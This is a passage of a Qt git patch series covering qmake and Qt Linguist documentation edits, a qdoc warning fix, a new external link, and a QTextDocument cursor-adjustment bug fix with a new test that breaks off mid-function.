    -    This function never returns a value. \c qmake displays the given
    +    This function never returns a value. \l {qmake}{ \c qmake}displays the given
         \e string to the user, and exits. This function should only be used
         for unrecoverable errors.
     
    @@ -3525,7 +3525,7 @@
         \section1 infile(filename, var, val)
         [Conditional]
     
    -    Succeeds if the file \e filename (when parsed by \c qmake itself)
    +    Succeeds if the file \e filename (when parsed by \l {qmake}{ \c qmake}itself)
         contains the variable \e var with a value of \e val; otherwise fails.
         If you do not specify a third argument (\e val), the function will
         only test whether \e var has been declared in the file.
    @@ -3647,7 +3647,7 @@
         \target Properties
         \section1 Properties
     
    -    \c qmake has a system of persistent information, this allows you to
    +    \l {qmake}{ \c qmake}has a system of persistent information, this allows you to
         \c set a variable in qmake once, and each time qmake is invoked this
         value can be queried. Use the following to set a property in qmake:
     
    @@ -3669,19 +3669,19 @@
         version of \c qmake, and newer versions will retrieve this value. However,
         if you set \c VARIABLE for a newer version of \c qmake, the older version
         will not use this value. You can however query a specific version of a
    -    variable if you prefix that version of \c qmake to \c VARIABLE, as in
    +    variable if you prefix that version of \l {qmake}{ \c qmake}to \c VARIABLE, as in
         the following example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 76
     
    -    \c qmake also has the notion of \c builtin properties, for example you can
    -    query the installation of Qt for this version of \c qmake with the
    +    \l {qmake}{ \c qmake}also has the notion of \c builtin properties, for example you can
    +    query the installation of Qt for this version of \l {qmake}{ \c qmake}with the
         \c QT_INSTALL_PREFIX property:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 77
     
         These built-in properties cannot have a version prefixed to them as
    -    they are not versioned, and each version of \c qmake will have its own
    +    they are not versioned, and each version of \l {qmake}{ \c qmake}will have its own
         built-in set of these values. The list below outlines the built-in
         properties:
     
    @@ -3699,7 +3699,7 @@
         \target QMAKESPEC
         \section1 QMAKESPEC
     
    -    \c qmake requires a platform and compiler description file which
    +    \l {qmake}{ \c qmake}requires a platform and compiler description file which
         contains many default values used to generate appropriate Makefiles.
         The standard Qt distribution comes with many of these files, located
         in the \c mkspecs subdirectory of the Qt installation.
    @@ -3708,8 +3708,8 @@
     
         \list
         \o A complete path to a directory containing a \c{qmake.conf} file.
    -       In this case \c qmake will open the \c{qmake.conf} file from within that
    -       directory.  If the file does not exist, \c qmake will exit with an
    +       In this case \l {qmake}{ \c qmake}will open the \c{qmake.conf} file from within that
    +       directory.  If the file does not exist, \l {qmake}{ \c qmake}will exit with an
            error.
         \o The name of a platform-compiler combination. In this case, \c qmake
            will search in the directory specified by the \c mkspecs subdirectory
    @@ -3725,14 +3725,14 @@
     
         It is common on Unix to also use the build tool to install applications
         and libraries; for example, by invoking \c{make install}. For this reason,
    -    \c qmake has the concept of an install set, an object which contains
    +    \l {qmake}{ \c qmake}has the concept of an install set, an object which contains
         instructions about the way part of a project is to be installed.
         For example, a collection of documentation files can be described in the
         following way:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 79
     
    -    The \c path member informs \c qmake that the files should be installed in
    +    The \c path member informs \l {qmake}{ \c qmake}that the files should be installed in
         \c /usr/local/program/doc (the path member), and the \c files member
         specifies the files that should be copied to the installation directory.
         In this case, everything in the \c docs directory will be coped to
    @@ -3743,10 +3743,10 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 80
     
    -    \c qmake will ensure that the specified files are copied to the installation
    +    \l {qmake}{ \c qmake}will ensure that the specified files are copied to the installation
         directory. If you require greater control over this process, you can also
         provide a definition for the \c extra member of the object. For example,
    -    the following line tells \c qmake to execute a series of commands for this
    +    the following line tells \l {qmake}{ \c qmake}to execute a series of commands for this
         install set:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 81
    @@ -3761,21 +3761,21 @@
         in the other members of the object are performed.
     
         If you append a built-in install set to the \c INSTALLS variable and do
    -    not specify \c files or \c extra members, \c qmake will decide what needs to
    +    not specify \c files or \c extra members, \l {qmake}{ \c qmake}will decide what needs to
         be copied for you. Currently, the only supported built-in install set is
         \c target:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 82
     
    -    In the above lines, \c qmake knows what needs to be copied, and will handle
    +    In the above lines, \l {qmake}{ \c qmake}knows what needs to be copied, and will handle
         the installation process automatically.
     
         \target cache
         \section1 Cache File
     
    -    The cache file is a special file \c qmake reads to find settings not specified
    +    The cache file is a special file \l {qmake}{ \c qmake}reads to find settings not specified
         in the \c qmake.conf file, project files, or at the command line. If
    -    \c -nocache is not specified when \c qmake is run, it will try to find a file
    +    \c -nocache is not specified when \l {qmake}{ \c qmake}is run, it will try to find a file
         called \c{.qmake.cache} in parent directories of the current directory. If
         it fails to find this file, it will silently ignore this step of processing.
     
    @@ -3785,7 +3785,7 @@
         \target LibDepend
         \section1 Library Dependencies
     
    -    Often when linking against a library, \c qmake relies on the underlying
    +    Often when linking against a library, \l {qmake}{ \c qmake}relies on the underlying
         platform to know what other libraries this library links against, and
         lets the platform pull them in. In many cases, however, this is not
         sufficent. For example, when statically linking a library, no other
    @@ -3797,19 +3797,19 @@
         this behavior must be explicitly enabled by following two steps.
     
         The first step is to enable dependency tracking in the library itself.
    -    To do this you must tell \c qmake to save information about the library:
    +    To do this you must tell \l {qmake}{ \c qmake}to save information about the library:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 83
     
         This is only relevant to the \c lib template, and will be ignored for
    -    all others. When this option is enabled, \c qmake will create a file
    +    all others. When this option is enabled, \l {qmake}{ \c qmake}will create a file
         ending in .prl which will save some meta-information about the
         library. This metafile is just like an ordinary project file, but only
         contains internal variable declarations. You are free to view this file
    -    and, if it is deleted, \c qmake will know to recreate it when necessary,
    +    and, if it is deleted, \l {qmake}{ \c qmake}will know to recreate it when necessary,
         either when the project file is later read, or if a dependent library
         (described below) has changed. When installing this library, by
    -    specifying it as a target in an \c INSTALLS declaration, \c qmake will
    +    specifying it as a target in an \c INSTALLS declaration, \l {qmake}{ \c qmake}will
         automatically copy the .prl file to the installation path.
     
         The second step in this process is to enable reading of this meta
    @@ -3817,11 +3817,11 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 84
     
    -    When this is enabled, \c qmake will process all libraries linked to
    -    by the application and find their meta-information. \c qmake will use
    +    When this is enabled, \l {qmake}{ \c qmake}will process all libraries linked to
    +    by the application and find their meta-information. \l {qmake}{ \c qmake}will use
         this to determine the relevant linking information, specifically adding
         values to the application project file's list of \c DEFINES as well as
    -    \c LIBS. Once \c qmake has processed this file, it will then look through
    +    \c LIBS. Once \l {qmake}{ \c qmake}has processed this file, it will then look through
         the newly introduced libraries in the \c LIBS variable, and find their
         dependent .prl files, continuing until all libraries have been resolved.
         At this point, the Makefile is created as usual, and the libraries are
    @@ -3835,9 +3835,9 @@
         \target Extensions
         \section1 File Extensions
     
    -    Under normal circumstances \c qmake will try to use appropriate file extensions
    +    Under normal circumstances \l {qmake}{ \c qmake}will try to use appropriate file extensions
         for your platform. However, it is sometimes necessary to override the default
    -    choices for each platform and explicitly define file extensions for \c qmake to use.
    +    choices for each platform and explicitly define file extensions for \l {qmake}{ \c qmake}to use.
         This is achieved by redefining certain built-in variables; for example the extension
         used for \l moc files can be redefined with the following assignment in a project
         file:
    @@ -3863,19 +3863,19 @@
         accept a list of values:
     
         \list
    -    \o QMAKE_EXT_CPP - Causes \c qmake to interpret all files with these suffixes as
    +    \o QMAKE_EXT_CPP - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                            C++ source files.
    -    \o QMAKE_EXT_H - Causes \c qmake to interpret all files with these suffixes as
    +    \o QMAKE_EXT_H - Causes \l {qmake}{ \c qmake}to interpret all files with these suffixes as
                          C and C++ header files.
         \endlist
     
         \target Customizing
         \section1 Customizing Makefile Output
     
    -    \c qmake tries to do everything expected of a cross-platform build tool.
    +    \l {qmake}{ \c qmake}tries to do everything expected of a cross-platform build tool.
         This is often less than ideal when you really need to run special
         platform-dependent commands. This can be achieved with specific instructions
    -    to the different \c qmake backends.
    +    to the different \l {qmake}{ \c qmake}backends.
     
         Customization of the Makefile output is performed through an object-style
         API as found in other places in \c qmake. Objects are defined automatically
    @@ -3883,14 +3883,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 86
     
    -    The definitions above define a \c qmake target called \c mytarget, containing
    +    The definitions above define a \l {qmake}{ \c qmake}target called \c mytarget, containing
         a Makefile target called \c{.buildfile} which in turn is generated with
         the \c touch command. Finally, the \c{.depends} member specifies that
         \c mytarget depends on \c mytarget2, another target that is defined afterwards.
         \c mytarget2 is a dummy target; it is only defined to echo some text to
         the console.
     
    -    The final step is to instruct \c qmake that this object is a target to be built:
    +    The final step is to instruct \l {qmake}{ \c qmake}that this object is a target to be built:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 87
     
    @@ -3953,7 +3953,7 @@
         \c NEW_HEADERS variable (from the \c input member), and the result is written
         to the file defined by the \c output member; this file is added to the
         other source files in the project.
    -    Additionally, \c qmake will execute \c depend_command to generate dependency
    +    Additionally, \l {qmake}{ \c qmake}will execute \c depend_command to generate dependency
         information, and place this information in the project as well.
     
         These commands can easily be placed into a cache file, allowing subsequent
    @@ -4077,9 +4077,9 @@
         \previouspage qmake Platform Notes
         \nextpage Using Precompiled Headers
     
    -    Many \c qmake project files simply describe the sources and header files used
    +    Many \l {qmake}{ \c qmake}project files simply describe the sources and header files used
         by the project, using a list of \c{name = value} and \c{name += value}
    -    definitions. \c qmake also provides other operators, functions, and scopes
    +    definitions. \l {qmake}{ \c qmake}also provides other operators, functions, and scopes
         that can be used to process the information supplied in variable declarations.
         These advanced features allow Makefiles to be generated for multiple platforms
         from a single project file.
    @@ -4091,7 +4091,7 @@
         In many project files, the assignment (\c{=}) and append (\c{+=}) operators can
         be used to include all the information about a project. The typical pattern of
         use is to assign a list of values to a variable, and append more values
    -    depending on the result of various tests. Since \c qmake defines certain
    +    depending on the result of various tests. Since \l {qmake}{ \c qmake}defines certain
         variables using default values, it is sometimes necessary to use the removal
         (\c{-=}) operator to filter out values that are not required. The following
         operators can be used to manipulate the contents of variables.
    @@ -4167,8 +4167,8 @@
         \snippet doc/src/snippets/qmake/scopes.pro 0
     
         The above code will add the \c paintwidget_win.cpp file to the sources listed
    -    in the generated Makefile if \c qmake is used on a Windows platform.
    -    If \c qmake is used on a platform other than Windows, the define will be
    +    in the generated Makefile if \l {qmake}{ \c qmake}is used on a Windows platform.
    +    If \l {qmake}{ \c qmake}is used on a platform other than Windows, the define will be
         ignored.
     
         The conditions used in a given scope can also be negated to provide an
    @@ -4263,9 +4263,9 @@
         \section1 Variables
     
         Many of the variables used in project files are special variables that
    -    \c qmake uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
    +    \l {qmake}{ \c qmake}uses when generating Makefiles, such as \c DEFINES, \c SOURCES,
         and \c HEADERS. It is possible for you to create variables for your own
    -    use; \c qmake creates new variables with a given name when it encounters
    +    use; \l {qmake}{ \c qmake}creates new variables with a given name when it encounters
         an assignment to that name. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 97
    @@ -4292,10 +4292,10 @@
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 100
     
         Variables can be used to store the contents of environment variables.
    -    These can be evaluated at the time that \c qmake is run, or included
    +    These can be evaluated at the time that \l {qmake}{ \c qmake}is run, or included
         in the generated Makefile for evaluation when the project is built.
     
    -    To obtain the contents of an environment value when \c qmake is run,
    +    To obtain the contents of an environment value when \l {qmake}{ \c qmake}is run,
         use the \c $$(...) operator:
     
         \snippet doc/src/snippets/qmake/environment.pro 0
    @@ -4329,7 +4329,7 @@
         \target VariableProcessingFunctions
         \section1 Variable Processing Functions
     
    -    \c qmake provides a selection of built-in functions to allow the
    +    \l {qmake}{ \c qmake}provides a selection of built-in functions to allow the
         contents of variables to be processed. These functions process the
         arguments supplied to them and return a value, or list of values, as
         a result. In order to assign a result to a variable, it is necessary
    @@ -4357,7 +4357,7 @@
         \target ConditionalFunctions
         \section1 Conditional Functions
     
    -    \c qmake provides built-in functions that can be used as conditions
    +    \l {qmake}{ \c qmake}provides built-in functions that can be used as conditions
         when writing scopes. These functions do not return a value, but
         instead indicate "success" or "failure":
     
    @@ -4374,12 +4374,12 @@
     
         \section1 Adding New Configuration Features
     
    -    \c qmake lets you create your own \e features that can be included in
    +    \l {qmake}{ \c qmake}lets you create your own \e features that can be included in
         project files by adding their names to the list of values specified by
         the \c CONFIG variable. Features are collections of custom functions and
         definitions in \c{.prf} files that can reside in one of many standard
         directories. The locations of these directories are defined in a number
    -    of places, and \c qmake checks each of them in the following order when
    +    of places, and \l {qmake}{ \c qmake}checks each of them in the following order when
         it looks for \c{.prf} files:
     
         \list 1
    @@ -4416,7 +4416,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 103
     
    -    With this addition to the \c CONFIG variable, \c qmake will search the
    +    With this addition to the \c CONFIG variable, \l {qmake}{ \c qmake}will search the
         locations listed above for the \c myfeatures.prf file after it has
         finished parsing your project file. On Unix systems, it will look for
         the following file:
    @@ -4459,7 +4459,7 @@
         specified file. Each subsequent compilation is faster because the
         stable code does not need to be recompiled.
     
    -    \c qmake supports the use of precompiled headers (PCH) on some
    +    \l {qmake}{ \c qmake}supports the use of precompiled headers (PCH) on some
         platforms and build environments, including:
         \list
         \o Windows
    @@ -4505,9 +4505,9 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 105
     
    -    \c qmake will handle the rest, to ensure the creation and use of the
    +    \l {qmake}{ \c qmake}will handle the rest, to ensure the creation and use of the
         precompiled header file. You do not need to include the precompiled
    -    header file in \c HEADERS, as \c qmake will do this if the configuration
    +    header file in \c HEADERS, as \l {qmake}{ \c qmake}will do this if the configuration
         supports PCH.
     
         All platforms that support precompiled headers have the configuration
    @@ -4573,7 +4573,7 @@
         \nextpage qmake Common Projects
     
         This tutorial teaches you how to use \c qmake.  We recommend that
    -    you read the \c qmake user guide after completing this tutorial.
    +    you read the \l {qmake}{ \c qmake}user guide after completing this tutorial.
     
         \section1 Starting off Simple
     
    @@ -4591,7 +4591,7 @@
         the application is that it's written in Qt.  First, using your favorite
         plain text editor, create a file called \c hello.pro in
         \c{examples/qmake/tutorial}. The first thing you need to do is add the
    -    lines that tell \c qmake about the source and header files that are part
    +    lines that tell \l {qmake}{ \c qmake}about the source and header files that are part
         of your development project.
     
         We'll add the source files to the project file first.  To do this you
    @@ -4631,7 +4631,7 @@
     
         The final step is to set the \l{qmake Variable Reference#CONFIG}{CONFIG}
         variable. Since this is a Qt application, we need to put \c qt on the
    -    \c CONFIG line so that \c qmake will add the relevant libraries to be
    +    \c CONFIG line so that \l {qmake}{ \c qmake}will add the relevant libraries to be
         linked against and ensure that build lines for \c moc and \c uic are
         included in the generated Makefile.
     
    @@ -4639,14 +4639,14 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 113
     
    -    You can now use \c qmake to generate a Makefile for your application.
    +    You can now use \l {qmake}{ \c qmake}to generate a Makefile for your application.
         On the command line, in your project's directory, type the following:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 114
     
         Then type \c make or \c nmake depending on the compiler you use.
     
    -    For Visual Studio users, \c qmake can also generate \c .dsp or
    +    For Visual Studio users, \l {qmake}{ \c qmake}can also generate \c .dsp or
         \c .vcproj files, for example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 115
    @@ -4663,7 +4663,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 116
     
    -    Use \c qmake as before to generate a Makefile and you will be able to
    +    Use \l {qmake}{ \c qmake}as before to generate a Makefile and you will be able to
         obtain useful information about your application when running it in
         a debugging environment.
     
    @@ -4676,15 +4676,15 @@
         hellounix.cpp.  We can't just add these to the \c SOURCES
         variable since this will put both files in the Makefile. So, what we
         need to do here is to use a scope which will be processed depending on
    -    which platform \c qmake is run on.
    +    which platform \l {qmake}{ \c qmake}is run on.
     
         A simple scope that will add in the platform-dependent file for
         Windows looks like this:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 117
     
    -    So if \c qmake is run on Windows, it will add \c hellowin.cpp to the
    -    list of source files.  If \c qmake is run on any other platform, it
    +    So if \l {qmake}{ \c qmake}is run on Windows, it will add \c hellowin.cpp to the
    +    list of source files.  If \l {qmake}{ \c qmake}is run on any other platform, it
         will simply ignore it. Now all that is left to be done is to create a
         scope for the Unix-specific file.
     
    @@ -4693,13 +4693,13 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 118
     
    -    Use \c qmake as before to generate a Makefile.
    +    Use \l {qmake}{ \c qmake}as before to generate a Makefile.
     
         \section1 Stopping qmake If a File Doesn't Exist
     
         You may not want to create a Makefile if a certain file doesn't exist.
         We can check if a file exists by using the exists() function.  We can
    -    stop \c qmake from processing by using the error() function.  This
    +    stop \l {qmake}{ \c qmake}from processing by using the error() function.  This
         works in the same way as scopes do.  Simply replace the scope condition
         with the function. A check for a \c main.cpp file looks like this:
     
    @@ -4711,8 +4711,8 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 120
     
    -    Use \c qmake as before to generate a makefile.  If you rename \c
    -    main.cpp temporarily, you will see the message and \c qmake will stop
    +    Use \l {qmake}{ \c qmake}as before to generate a makefile.  If you rename \c
    +    main.cpp temporarily, you will see the message and \l {qmake}{ \c qmake}will stop
         processing.
     
         \section1 Checking for More than One Condition
    @@ -4746,7 +4746,7 @@
         \previouspage qmake Tutorial
         \nextpage Using qmake
     
    -    This chapter describes how to set up \c qmake project files for three
    +    This chapter describes how to set up \l {qmake}{ \c qmake}project files for three
         common project types that are based on Qt. Although all kinds of
         projects use many of the same variables, each of them use project-specific
         variables to customize output files.
    @@ -4765,7 +4765,7 @@
     
         \section2 The app Template
     
    -    The \c app template tells \c qmake to generate a Makefile that will build
    +    The \c app template tells \l {qmake}{ \c qmake}to generate a Makefile that will build
         an application. With this template, the type of application can be specified
         by adding one of the following options to the \c CONFIG variable definition:
     
    @@ -4776,7 +4776,7 @@
                            application.
         \endtable
     
    -    When using this template the following \c qmake system variables are recognized.
    +    When using this template the following \l {qmake}{ \c qmake}system variables are recognized.
         You should use these in your .pro file to specify information about your
         application.
     
    @@ -4802,7 +4802,7 @@
     
         You only need to use the system variables that you have values for,
         for instance, if you do not have any extra INCLUDEPATHs then you do not
    -    need to specify any, \c qmake will add in the default ones needed.
    +    need to specify any, \l {qmake}{ \c qmake}will add in the default ones needed.
         For instance, an example project file might look like this:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 123
    @@ -4818,7 +4818,7 @@
     
         \section2 The lib Template
     
    -    The \c lib template tells \c qmake to generate a Makefile that will
    +    The \c lib template tells \l {qmake}{ \c qmake}to generate a Makefile that will
         build a library.  When using this template, in addition to the system variables
         mentioned above for the \c app template the \c VERSION variable is
         supported.  You should use these in your .pro file to specify
    @@ -4849,7 +4849,7 @@
         \section1 Building a Plugin
     
         Plugins are built using the \c lib template, as described in the previous
    -    section. This tells \c qmake to generate a Makefile for the project that will
    +    section. This tells \l {qmake}{ \c qmake}to generate a Makefile for the project that will
         build a plugin in a suitable form for each platform, usually in the form of a
         library. As with ordinary libraries, the \c VERSION variable is used to specify
         information about the plugin.
    @@ -4887,7 +4887,7 @@
         ensure that the resulting targets have different names. Providing different
         names for targets ensures that one will not overwrite the other.
     
    -    When \c qmake processes the project file, it will generate a Makefile rule
    +    When \l {qmake}{ \c qmake}processes the project file, it will generate a Makefile rule
         to allow the project to be built in both modes. This can be invoked in the
         following way:
     
    diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc
    index 440647f..1f413f9 100644
    --- a/doc/src/internationalization/linguist-manual.qdoc
    +++ b/doc/src/internationalization/linguist-manual.qdoc
    @@ -159,7 +159,7 @@
         \section1 Qt Project Files
     
         The easiest method to use \l{#lupdate} {lupdate} and \l{#lrelease}
    -    {lrelease} is by specifing a \c .pro Qt project file. There must
    +    {lrelease} is by specifying a \c .pro Qt project file. There must
         be an entry in the \c TRANSLATIONS section of the project file for
         each language that is additional to the native language. A typical
         entry looks like this:
    @@ -342,8 +342,8 @@
         the bottom of the main window. The phrases and guesses window
         shows possible translations for the current string. These
         translation "guesses" have been read from phrase books
    -    (\menu{Phrases|Open Phrase Book...}).  The current string's
    -    current translation is also shown here. To select a guess, double
    +    (\menu{Phrases|Open Phrase Book...}).  The current strings
    +    translation is also shown here. To select a guess, double
         click it in the phrases and guesses window or use the keyboard
         shortcut shown to the right of the guess.
     
    @@ -371,7 +371,7 @@
         subwindows are: \l{Context Window} {Context}, \l{Sources and Forms
         Window} {Sources and Forms}, \l{Strings Window} {Strings},
         \l{Phrases and Guesses Window} {Phrases and guesses}, and
    -    \l{Warnings Window} {Warnings} (hidden in the UI snapsot). The
    +    \l{Warnings Window} {Warnings} (hidden in the UI snapshot). The
         translation area is always visible, but the dockable subwindows
         can be activated or deactivated in the \menu{View|Views} menu, and
         dragged around by their title bars and dropped in the translation
    @@ -513,7 +513,7 @@
         \o No Translation
         \o \inlineimage linguist-check-empty.png
         \o The string does not have a translation. Click the icon to 
    -    accpet the empty translation anyway. The state is reset to  
    +    accept the empty translation anyway. The state is reset to  
         \inlineimage linguist-check-on.png
         , and the number of accepted translations in the \e{Items} column 
         of the \l{Context Window} {context list} is incremented by 1.
    @@ -567,7 +567,7 @@
     
         When \l{Translating Multiple Languages Simultaneously} {multiple
         languages} are being translated, this sequence of fields is
    -    repeated for each language. See aso \l {Changing the Target
    +    repeated for each language. See also \l {Changing the Target
         Locale}.
     
         \section2 Phrases and Guesses Window
    @@ -585,7 +585,7 @@
         translation area, or you can use the translation's \e{Guess}
         hotkey on the right. You can also press \key{F10} to move the
         focus to the Phrases and Guesses Window, then use the up and down
    -    arrow keys to find the desired translation, and and then press
    +    arrow keys to find the desired translation, and then press
         \key{Enter} to copy it to the translation area.  If you decide
         that you don't want to copy a phrase after all, press \key{Esc} to
         return the focus to the translation area.
    @@ -649,7 +649,7 @@
         {translation area} has text editing areas for both Polish and
         Japanese, and these are color-coded for easier separation.
         Second, the \l{Context Window} and the \l{Strings Window} both
    -    have two clomuns labeled \inlineimage linguist-check-obsolete.png
    +    have two columns labeled \inlineimage linguist-check-obsolete.png
         instead of one, and although it may be hard to tell, these columns
         are also color-coded with the same colors. The left-most column in
         either case applies to the top-most language area (Polish above)
    @@ -793,7 +793,7 @@
         might reverse the phrases, e.g. \c{Datei %2 wird bearbeitet, wenn
         Datei %1 fertig ist}. Both numbered arguments appear in the
         translation, but in the reverse order. \c{%i} will always be
    -    replaced by the same text in the translation stringss, regardless
    +    replaced by the same text in the translation strings, regardless
         of where argument \e{i} appears in the argument sequence in the
         source string.
     
    @@ -843,7 +843,7 @@
         are used to provide a common set of translations to help ensure consistency. 
         They can also be used to avoid duplication of effort since the translations 
         for a family of applications can be produced once in the phrase book.
    -    If the translator reaches an untranslated phrase that is the same as a
    +    If the translator reaches an non-translated phrase that is the same as a
         source phrase in a phrase book, \QL will show the
         phrase book entry in the \l {Phrases and Guesses Window}.
     
    @@ -935,7 +935,7 @@
         List on the left hand. If the path to the files has changed, you can load
         the files manually via \menu{File|Open Form...}. Double-click on an entry
         in the Forms List to display the Form File. Select \e{} from
    -    the toolbar to display the untranslated form.
    +    the toolbar to display the non-translated form.
     
         \section1 Qt Linguist Reference
     
    @@ -1027,7 +1027,7 @@
         \o \gui {Translation}
             \list
             \o \gui {Prev Unfinished Ctrl+K} \BR moves to the nearest previous
    -        unfinished source phrase (unfinished means untranslated or
    +        unfinished source phrase (unfinished means non-translated or
             translated but failed validation).
             \o \gui {Next Unfinished Ctrl+L} \BR moves to the next unfinished source
             phrase.
    @@ -1406,7 +1406,7 @@
         If a French translation is loaded, this will expand to "0 item 
         remplac\unicode{233}", "1 item remplac\unicode{233}", "2 items 
         remplac\unicode{233}s", etc., depending on \c{n}'s value. 
    -    And if no translation is loaded, the orignal string is used, with \c %n 
    +    And if no translation is loaded, the original string is used, with \c %n 
         replaced with count's value (e.g., "6 item(s) replaced").
     
         To handle plural forms in the native language, you need to load a 
    diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    index c2a38fd..d8ca5f9 100644
    --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc
    @@ -415,7 +415,7 @@
     
         \section2 Internet Security
     
    -    When exposing native object to an open web environment, it is importwhichant to understand the security
    +    When exposing native object to an open web environment, it is important to understand the security
         implications. Think whether the exposed object enables the web environment access to things that
         shouldn't be open, and whether the web content loaded by that web page comes from a trusted. In general, when
         exposing native QObjects that give the web environment access to private information or to functionality
    -- 
    cgit v0.12
    
    
    From ee9f4d82f4259a8db11a56808acab77eb21e3510 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:26:29 +0100
    Subject: Doc: Fixed qdoc warning.
    
    ---
     src/plugins/bearer/icd/dbusdispatcher.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/plugins/bearer/icd/dbusdispatcher.cpp b/src/plugins/bearer/icd/dbusdispatcher.cpp
    index 5fc2a38..5f9be74 100644
    --- a/src/plugins/bearer/icd/dbusdispatcher.cpp
    +++ b/src/plugins/bearer/icd/dbusdispatcher.cpp
    @@ -51,10 +51,10 @@
     namespace Maemo {
     
     /*!
    -    \class DBusDispatcher
    +    \class Maemo::DBusDispatcher
     
    -    \brief DBusDispatcher is a class, which is able to send DBUS method call
    -    messages and receive unicast signals from DBUS object.
    +    \brief DBusDispatcher is a class that can send DBUS method call
    +    messages and receive unicast signals from DBUS objects.
     */
     
     class DBusDispatcherPrivate
    -- 
    cgit v0.12
    
    
    From c53832da5da7ad6cec6e809c30a06c8771bb9885 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Tue, 25 Jan 2011 13:42:22 +0100
    Subject: Doc: Fixed a broken link.
    
    ---
     doc/src/external-resources.qdoc | 5 +++++
     1 file changed, 5 insertions(+)
    
    diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc
    index 4003e56..7639324 100644
    --- a/doc/src/external-resources.qdoc
    +++ b/doc/src/external-resources.qdoc
    @@ -453,3 +453,8 @@
         \externalpage http://www.libusb.org/
         \title libusb
     */
    +
    +/*!
    +    \externalpage http://publicsuffix.org/
    +    \title publicsuffix.org
    +*/
    -- 
    cgit v0.12
    
    
    From 34c297faca93e1286573b2a01127e4e7af00aff2 Mon Sep 17 00:00:00 2001
    From: Jiang Jiang 
    Date: Mon, 24 Jan 2011 19:09:38 +0100
    Subject: Fix cursor position adjustment when removing strings
    
    Commit 0ba1b4d0 introduced a regression to QTextDocument: it postponed
    cursor position adjustment until the move operation is done, but
    contentsChanged will be triggered by finishEdit() in this move
    operation, thus cursor positions in this signal handler will be in
    inconsistent states (normally we should first update cursor position
    then trigger contentsChanged). In this case we should also postpone
    finishEdit() handling after cursor positions have been adjusted, then
    the states expose to applications will be consistent.
    
    Task-number: QTBUG-15857
    Reviewed-by: Eskil
    ---
     src/gui/text/qtextdocument_p.cpp           |  4 +++-
     tests/auto/qtextcursor/tst_qtextcursor.cpp | 28 ++++++++++++++++++++++++++++
     2 files changed, 31 insertions(+), 1 deletion(-)
    
    diff --git a/src/gui/text/qtextdocument_p.cpp b/src/gui/text/qtextdocument_p.cpp
    index 498a432..2172f74 100644
    --- a/src/gui/text/qtextdocument_p.cpp
    +++ b/src/gui/text/qtextdocument_p.cpp
    @@ -663,7 +663,8 @@ void QTextDocumentPrivate::move(int pos, int to, int length, QTextUndoCommand::O
     
         Q_ASSERT(blocks.length() == fragments.length());
     
    -    finishEdit();
    +    if (!blockCursorAdjustment)
    +        finishEdit();
     }
     
     void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operation op)
    @@ -678,6 +679,7 @@ void QTextDocumentPrivate::remove(int pos, int length, QTextUndoCommand::Operati
                 curs->changed = true;
             }
         }
    +    finishEdit();
     }
     
     void QTextDocumentPrivate::setCharFormat(int pos, int length, const QTextCharFormat &newFormat, FormatChangeMode mode)
    diff --git a/tests/auto/qtextcursor/tst_qtextcursor.cpp b/tests/auto/qtextcursor/tst_qtextcursor.cpp
    index ee2baef..4d52dd7 100644
    --- a/tests/auto/qtextcursor/tst_qtextcursor.cpp
    +++ b/tests/auto/qtextcursor/tst_qtextcursor.cpp
    @@ -134,6 +134,7 @@ private slots:
         void endOfLine();
     
         void editBlocksDuringRemove();
    +    void selectAllDuringRemove();
     
         void update_data();
         void update();
    @@ -1388,6 +1389,17 @@ public slots:
             ++recordingCount;
         }
     
    +    void selectAllContents()
    +    {
    +        // Only test the first time
    +        if (!recordingCount) {
    +            recordingCount++;
    +            cursor->select(QTextCursor::Document);
    +            lastRecordedPosition = cursor->position();
    +            lastRecordedAnchor = cursor->anchor();
    +        }
    +    }
    +
     private:
         QTextCursor *cursor;
     };
    @@ -1411,6 +1423,22 @@ void tst_QTextCursor::editBlocksDuringRemove()
         QVERIFY(doc->toPlainText().isEmpty());
     }
     
    +void tst_QTextCursor::selectAllDuringRemove()
    +{
    +    CursorListener listener(&cursor);
    +
    +    cursor.insertText("Hello World");
    +    cursor.movePosition(QTextCursor::End);
    +
    +    connect(doc, SIGNAL(contentsChanged()), &listener, SLOT(selectAllContents()));
    +    listener.recordingCount = 0;
    +    QTextCursor localCursor = cursor;
